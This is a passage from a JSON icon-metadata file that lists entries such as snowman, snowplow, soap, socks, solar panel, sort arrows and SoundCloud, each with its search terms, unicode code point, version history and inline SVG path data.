        "path": "M224 0c17.7 0 32 14.3 32 32V62.1l15-15c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-49 49v70.3l61.4-35.8 17.7-66.1c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4l-5.2 19.3 23.6-13.8c15.3-8.9 34.9-3.7 43.8 11.5s3.8 34.9-11.5 43.8l-25.3 14.8 21.7 5.8c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-67.7-18.1L287.5 256l60.9 35.5 67.7-18.1c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4l-21.7 5.8 25.3 14.8c15.3 8.9 20.4 28.5 11.5 43.8s-28.5 20.4-43.8 11.5l-23.6-13.8 5.2 19.3c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-17.7-66.1L256 311.7v70.3l49 49c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V449.9l-15 15c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l49-49V311.7l-61.4 35.8-17.7 66.1c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4l5.2-19.3L48.1 395.6c-15.3 8.9-34.9 3.7-43.8-11.5s-3.7-34.9 11.5-43.8l25.3-14.8-21.7-5.8c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l67.7 18.1L160.5 256 99.6 220.5 31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4l21.7-5.8L15.9 171.6C.6 162.7-4.5 143.1 4.4 127.9s28.5-20.4 43.8-11.5l23.6 13.8-5.2-19.3c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l17.7 66.1L192 200.3V129.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l15 15V32c0-17.7 14.3-32 32-32z"
      },
      "regular": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c13.3 0 24 10.7 24 24V70.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-57 57v76.5l66.2-38.2 20.9-77.8c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4L373 142.2l37.1-21.4c11.5-6.6 26.2-2.7 32.8 8.8s2.7 26.2-8.8 32.8L397 183.8l31.5 8.4c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-77.8-20.9L272 256l66.2 38.2 77.8-20.9c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4L397 328.2l37.1 21.4c11.5 6.6 15.4 21.3 8.8 32.8s-21.3 15.4-32.8 8.8L373 369.8l8.4 31.5c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-20.9-77.8L248 297.6v76.5l57 57c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V441.9l-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V297.6l-66.2 38.2-20.9 77.8c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4L75 369.8 37.9 391.2c-11.5 6.6-26.2 2.7-32.8-8.8s-2.7-26.2 8.8-32.8L51 328.2l-31.5-8.4c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l77.8 20.9L176 256l-66.2-38.2L31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4L51 183.8 13.9 162.4c-11.5-6.6-15.4-21.3-8.8-32.8s21.3-15.4 32.8-8.8L75 142.2l-8.4-31.5c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l20.9 77.8L200 214.4V137.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V24c0-13.3 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c13.3 0 24 10.7 24 24V70.1l23-23c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9l-57 57v76.5l66.2-38.2 20.9-77.8c3.4-12.8 16.6-20.4 29.4-17s20.4 16.6 17 29.4L373 142.2l37.1-21.4c11.5-6.6 26.2-2.7 32.8 8.8s2.7 26.2-8.8 32.8L397 183.8l31.5 8.4c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17l-77.8-20.9L272 256l66.2 38.2 77.8-20.9c12.8-3.4 26 4.2 29.4 17s-4.2 26-17 29.4L397 328.2l37.1 21.4c11.5 6.6 15.4 21.3 8.8 32.8s-21.3 15.4-32.8 8.8L373 369.8l8.4 31.5c3.4 12.8-4.2 26-17 29.4s-26-4.2-29.4-17l-20.9-77.8L248 297.6v76.5l57 57c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-23-23V488c0 13.3-10.7 24-24 24s-24-10.7-24-24V441.9l-23 23c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V297.6l-66.2 38.2-20.9 77.8c-3.4 12.8-16.6 20.4-29.4 17s-20.4-16.6-17-29.4L75 369.8 37.9 391.2c-11.5 6.6-26.2 2.7-32.8-8.8s-2.7-26.2 8.8-32.8L51 328.2l-31.5-8.4c-12.8-3.4-20.4-16.6-17-29.4s16.6-20.4 29.4-17l77.8 20.9L176 256l-66.2-38.2L31.9 238.6c-12.8 3.4-26-4.2-29.4-17s4.2-26 17-29.4L51 183.8 13.9 162.4c-11.5-6.6-15.4-21.3-8.8-32.8s21.3-15.4 32.8-8.8L75 142.2l-8.4-31.5c-3.4-12.8 4.2-26 17-29.4s26 4.2 29.4 17l20.9 77.8L200 214.4V137.9L143 81c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l23 23V24c0-13.3 10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "snowman": {
    "aliases": {
      "unicodes": {
        "composite": ["2603", "26c4"],
        "secondary": ["10f7d0"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cold",
        "decoration",
        "frost",
        "frosty",
        "holiday",
        "snow",
        "snowman",
        "snowman without snow"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7d0",
    "label": "Snowman",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M341.1 140.6c-2 3.9-1.6 8.6 1.2 12c7 8.5 12.9 18.1 17.2 28.4L408 160.2V120c0-13.3 10.7-24 24-24s24 10.7 24 24v19.6l22.5-9.7c12.2-5.2 26.3 .4 31.5 12.6s-.4 26.3-12.6 31.5l-56 24-73.6 31.5c-.5 9.5-2.1 18.6-4.8 27.3c-1.2 3.8-.1 8 2.8 10.8C396.7 296.9 416 338.2 416 384c0 44.7-18.3 85-47.8 114.1c-9.9 9.7-23.7 13.9-37.5 13.9H181.3c-13.9 0-27.7-4.2-37.5-13.9C114.3 469 96 428.7 96 384c0-45.8 19.3-87.1 50.1-116.3c2.9-2.8 4-6.9 2.8-10.8c-2.7-8.7-4.3-17.9-4.8-27.3L70.5 198.1l-56-24C2.4 168.8-3.3 154.7 1.9 142.5s19.3-17.8 31.5-12.6L56 139.6V120c0-13.3 10.7-24 24-24s24 10.7 24 24v40.2L152.6 181c4.3-10.3 10.1-19.9 17.2-28.4c2.8-3.4 3.3-8.1 1.2-12C164 127.2 160 112.1 160 96c0-53 43-96 96-96s96 43 96 96c0 16.1-4 31.2-10.9 44.6zM224 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm48 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-16 80a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm16 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM288 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48 24v3.2c0 3.2 .8 6.3 2.3 9l9 16.9c.9 1.7 2.7 2.8 4.7 2.8s3.8-1.1 4.7-2.8l9-16.9c1.5-2.8 2.3-5.9 2.3-9V120c0-8.8-7.2-16-16-16s-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M341.1 140.6c-2 3.9-1.6 8.6 1.2 12c7 8.5 12.9 18.1 17.2 28.4L408 160.2V120c0-13.3 10.7-24 24-24s24 10.7 24 24v19.6l22.5-9.7c12.2-5.2 26.3 .4 31.5 12.6s-.4 26.3-12.6 31.5l-56 24-73.6 31.5c-.5 9.5-2.1 18.6-4.8 27.3c-1.2 3.8-.1 8 2.8 10.8C396.7 296.9 416 338.2 416 384c0 44.7-18.3 85-47.8 114.1c-9.9 9.7-23.7 13.9-37.5 13.9H181.3c-13.9 0-27.7-4.2-37.5-13.9C114.3 469 96 428.7 96 384c0-45.8 19.3-87.1 50.1-116.3c2.9-2.8 4-6.9 2.8-10.8c-2.7-8.7-4.3-17.9-4.8-27.3L70.5 198.1l-56-24C2.4 168.8-3.3 154.7 1.9 142.5s19.3-17.8 31.5-12.6L56 139.6V120c0-13.3 10.7-24 24-24s24 10.7 24 24v40.2L152.6 181c4.3-10.3 10.1-19.9 17.2-28.4c2.8-3.4 3.3-8.1 1.2-12C164 127.2 160 112.1 160 96c0-53 43-96 96-96s96 43 96 96c0 16.1-4 31.2-10.9 44.6zM224 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm48 128a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-16 80a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm16 48a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM288 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm-48 24v3.2c0 3.2 .8 6.3 2.3 9l9 16.9c.9 1.7 2.7 2.8 4.7 2.8s3.8-1.1 4.7-2.8l9-16.9c1.5-2.8 2.3-5.9 2.3-9V120c0-8.8-7.2-16-16-16s-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "snowplow": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7d2"]
      }
    },
    "changes": [
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["clean up", "cold", "road", "storm", "winter"]
    },
    "styles": ["solid"],
    "unicode": "f7d2",
    "label": "Snowplow",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M298.9 64l68.6 160H256l-64-64V64H298.9zM445.1 242.7l-87.4-204C347.6 15.3 324.5 0 298.9 0H176c-26.5 0-48 21.5-48 48V160H96c-17.7 0-32 14.3-32 32V298.8C26.2 316.8 0 355.3 0 400c0 61.9 50.1 112 112 112H368c61.9 0 112-50.1 112-112c0-17.2-3.9-33.5-10.8-48H512v50.7c0 17 6.7 33.3 18.7 45.3l54.6 54.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L576 402.7V320 235.2L633 164c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5l-57 71.2c-9.1 11.3-14 25.4-14 40V288H448V256.7c.1-2.4-.2-4.8-.6-7.1s-1.2-4.7-2.2-6.8zM368 352c26.5 0 48 21.5 48 48s-21.5 48-48 48H112c-26.5 0-48-21.5-48-48s21.5-48 48-48H368zM144 400a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm216 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-56-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM200 424a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M298.9 64l68.6 160H256l-64-64V64H298.9zM445.1 242.7l-87.4-204C347.6 15.3 324.5 0 298.9 0H176c-26.5 0-48 21.5-48 48V160H96c-17.7 0-32 14.3-32 32V298.8C26.2 316.8 0 355.3 0 400c0 61.9 50.1 112 112 112H368c61.9 0 112-50.1 112-112c0-17.2-3.9-33.5-10.8-48H512v50.7c0 17 6.7 33.3 18.7 45.3l54.6 54.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L576 402.7V320 235.2L633 164c11-13.8 8.8-33.9-5-45s-33.9-8.8-45 5l-57 71.2c-9.1 11.3-14 25.4-14 40V288H448V256.7c.1-2.4-.2-4.8-.6-7.1s-1.2-4.7-2.2-6.8zM368 352c26.5 0 48 21.5 48 48s-21.5 48-48 48H112c-26.5 0-48-21.5-48-48s21.5-48 48-48H368zM144 400a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm216 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm-56-24a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM200 424a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "soap": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9fc"],
        "secondary": ["10e06e"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bar",
        "bathing",
        "bubbles",
        "clean",
        "cleaning",
        "covid-19",
        "hygiene",
        "lather",
        "soap",
        "soapdish",
        "wash"
      ]
    },
    "styles": ["solid"],
    "unicode": "e06e",
    "label": "Soap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM416 32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 160c0 27.6-11.7 52.5-30.4 70.1C422.1 275.7 448 310.8 448 352c0 53-43 96-96 96H160c-53 0-96-43-96-96s43-96 96-96h88.4c-15.2-17-24.4-39.4-24.4-64H96c-53 0-96 43-96 96V416c0 53 43 96 96 96H416c53 0 96-43 96-96V288c0-53-43-96-96-96zM160 288c-35.3 0-64 28.7-64 64s28.7 64 64 64H352c35.3 0 64-28.7 64-64s-28.7-64-64-64H320 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM320 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zM416 32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm0 160c0 27.6-11.7 52.5-30.4 70.1C422.1 275.7 448 310.8 448 352c0 53-43 96-96 96H160c-53 0-96-43-96-96s43-96 96-96h88.4c-15.2-17-24.4-39.4-24.4-64H96c-53 0-96 43-96 96V416c0 53 43 96 96 96H416c53 0 96-43 96-96V288c0-53-43-96-96-96zM160 288c-35.3 0-64 28.7-64 64s28.7 64 64 64H352c35.3 0 64-28.7 64-64s-28.7-64-64-64H320 160z"
      }
    },
    "free": ["solid"]
  },
  "socks": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9e6"],
        "secondary": ["10f696"]
      }
    },
    "changes": ["5.3.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "business socks",
        "business time",
        "clothing",
        "feet",
        "flight of the conchords",
        "socks",
        "stocking",
        "wednesday"
      ]
    },
    "styles": ["solid"],
    "unicode": "f696",
    "label": "Socks",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M175.2 476.6c-9.7-18-15.2-38.7-15.2-60.6c0-40.3 19-78.2 51.2-102.4l64-48c8.1-6 12.8-15.5 12.8-25.6V96H128V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C14.2 357.3 0 385.8 0 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l21.6-16.2zM128 64H288V48c0-14.5 3.9-28.2 10.7-39.9C291 3 281.9 0 272 0H176c-26.5 0-48 21.5-48 48V64zM320 96V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C206.2 357.3 192 385.8 192 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l115.2-86.4C493 382.2 512 344.3 512 304V96H320zM512 64V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48V64H512z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M175.2 476.6c-9.7-18-15.2-38.7-15.2-60.6c0-40.3 19-78.2 51.2-102.4l64-48c8.1-6 12.8-15.5 12.8-25.6V96H128V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C14.2 357.3 0 385.8 0 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l21.6-16.2zM128 64H288V48c0-14.5 3.9-28.2 10.7-39.9C291 3 281.9 0 272 0H176c-26.5 0-48 21.5-48 48V64zM320 96V240c0 20.1-9.5 39.1-25.6 51.2l-64 48C206.2 357.3 192 385.8 192 416c0 53 43 96 96 96c20.8 0 41-6.7 57.6-19.2l115.2-86.4C493 382.2 512 344.3 512 304V96H320zM512 64V48c0-26.5-21.5-48-48-48H368c-26.5 0-48 21.5-48 48V64H512z"
      }
    },
    "free": ["solid"]
  },
  "solar-panel": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5ba"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["clean", "eco-friendly", "energy", "green", "sun"]
    },
    "styles": ["solid"],
    "unicode": "f5ba",
    "label": "Solar Panel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M122.2 0C91.7 0 65.5 21.5 59.5 51.4L8.3 307.4C.4 347 30.6 384 71 384H288v64H224c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H569c40.4 0 70.7-36.9 62.8-76.6l-51.2-256C574.5 21.5 548.3 0 517.8 0H122.2zM260.9 64H379.1l10.4 104h-139L260.9 64zM202.3 168H101.4L122.2 64h90.4L202.3 168zM91.8 216H197.5L187.1 320H71L91.8 216zm153.9 0H394.3l10.4 104-169.4 0 10.4-104zm196.8 0H548.2L569 320h-116L442.5 216zm96-48H437.7L427.3 64h90.4l31.4-6.3L517.8 64l20.8 104z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M122.2 0C91.7 0 65.5 21.5 59.5 51.4L8.3 307.4C.4 347 30.6 384 71 384H288v64H224c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H352V384H569c40.4 0 70.7-36.9 62.8-76.6l-51.2-256C574.5 21.5 548.3 0 517.8 0H122.2zM260.9 64H379.1l10.4 104h-139L260.9 64zM202.3 168H101.4L122.2 64h90.4L202.3 168zM91.8 216H197.5L187.1 320H71L91.8 216zm153.9 0H394.3l10.4 104-169.4 0 10.4-104zm196.8 0H548.2L569 320h-116L442.5 216zm96-48H437.7L427.3 64h90.4l31.4-6.3L517.8 64l20.8 104z"
      }
    },
    "free": ["solid"]
  },
  "sort": {
    "aliases": {
      "names": ["unsorted"],
      "unicodes": {
        "secondary": ["10f0dc"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["filter", "order"]
    },
    "styles": ["solid"],
    "unicode": "f0dc",
    "label": "Sort",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M137.4 41.4c12.5-12.5 32.8-12.5 45.3 0l128 128c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9l128-128zm0 429.3l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128c-12.5 12.5-32.8 12.5-45.3 0z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M137.4 41.4c12.5-12.5 32.8-12.5 45.3 0l128 128c9.2 9.2 11.9 22.9 6.9 34.9s-16.6 19.8-29.6 19.8H32c-12.9 0-24.6-7.8-29.6-19.8s-2.2-25.7 6.9-34.9l128-128zm0 429.3l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128c-12.5 12.5-32.8 12.5-45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "sort-down": {
    "aliases": {
      "names": ["sort-desc"],
      "unicodes": {
        "secondary": ["10f0dd"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "descending", "filter", "order", "sort-desc"]
    },
    "styles": ["solid"],
    "unicode": "f0dd",
    "label": "Sort Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 470.6c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-9.2-9.2-11.9-22.9-6.9-34.9s16.6-19.8 29.6-19.8H288c12.9 0 24.6 7.8 29.6 19.8s2.2 25.7-6.9 34.9l-128 128z"
      }
    },
    "free": ["solid"]
  },
  "sort-up": {
    "aliases": {
      "names": ["sort-asc"],
      "unicodes": {
        "secondary": ["10f0de"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "ascending", "filter", "order", "sort-asc"]
    },
    "styles": ["solid"],
    "unicode": "f0de",
    "label": "Sort Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M182.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M182.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-9.2 9.2-11.9 22.9-6.9 34.9s16.6 19.8 29.6 19.8H288c12.9 0 24.6-7.8 29.6-19.8s2.2-25.7-6.9-34.9l-128-128z"
      }
    },
    "free": ["solid"]
  },
  "soundcloud": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1be",
    "label": "SoundCloud",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 